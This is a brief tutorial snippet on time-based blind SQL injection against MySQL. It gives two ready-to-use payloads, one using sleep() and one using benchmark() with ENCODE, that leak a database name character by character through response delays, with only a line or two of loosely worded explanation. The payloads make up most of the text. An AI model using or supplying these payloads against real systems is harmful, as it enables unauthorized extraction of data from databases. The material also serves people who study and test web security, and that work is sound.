SQL blind injection time injection

1. Use the sleep() function for injection　

　　payload：and if(ascii(substr(database(),1,1))=115,1,sleep(5))%23

　　

2. When there is an error, there will be a time delay of 5 seconds, and use benchmark() to perform delay injection

　　payload：union select (if(substring(current,1,1)=char(115),benchmark(50000000,encode('MSG','by 5 seconds')),null)),2,3 from (select database() as current) as tb1%23

　　

When the result is correct, run ENCODE('MSG','by 5 seconds') 50000000 times, which will take a while.